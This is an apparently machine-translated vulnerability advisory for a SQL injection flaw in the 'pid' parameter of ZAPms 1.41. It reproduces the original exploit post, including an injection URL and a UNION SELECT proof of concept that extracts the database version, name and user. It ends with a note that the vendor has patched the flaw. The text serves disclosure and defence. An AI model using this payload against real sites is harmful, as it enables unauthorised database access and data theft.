ZAPms 'pid 'parameter SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
ZAPms 1.41
Description:
--------------------------------------------------------------------------------
Bugtraq id: 58960
 
ZAPms is an open source CMS.
 
ZAPms 1.41 Has the SQL injection vulnerability, which allows remote attackers to execute arbitrary SQL commands by using the PID parameter of the device.
 
<* Source: NoGe (jong_amq@hotmail.com)

Link: http://secunia.com/advisories/52946
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
========================================================== ========================================================== ==================================

[O] ZAPms <= SQL Injection Vulnerability

Software: ZAPms
Version: 1.41
Vendor: http://www.zapms.de
Author: NoGe
Contact: noge [dot] code [at] gmail [dot] com
Desc: ZAPms is free open source web content management system,
Adapted to the needs of businesses on the Internet.
The ZAPms offers feature features and modules as well as an expansion interface for maximum capabilities.

========================================================== ========================================================== ==================================

[O] Exploit

Http: // localhost/[path]/products? Pid = [SQLi]

========================================================== ========================================================== ==================================

[O] PoC

Http: // server/products? Pid =-14 + union + select +, 9, version (), database, 24,25, 26,27, 28,29, 30,31, 32,33, 34,35, 36,37, 38,39, 40,41, user (), 43,44, 45,46, 47,48 -- & cid = 0 & tid = & page = & action = details & subaction = product

========================================================== ========================================================== ==================================

[O] Greetz

Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
AJe kaka11 donews wishnusakti inc0mp13te martfella
Pizzyroot Genex H312Y noname tukulesto} ^-^ {

========================================================== ========================================================== ==================================

[O] 116l 09 2013-Papua, Indonesia

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
ZAPms
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
 
Http://www.zapms.de/open_source_cms_en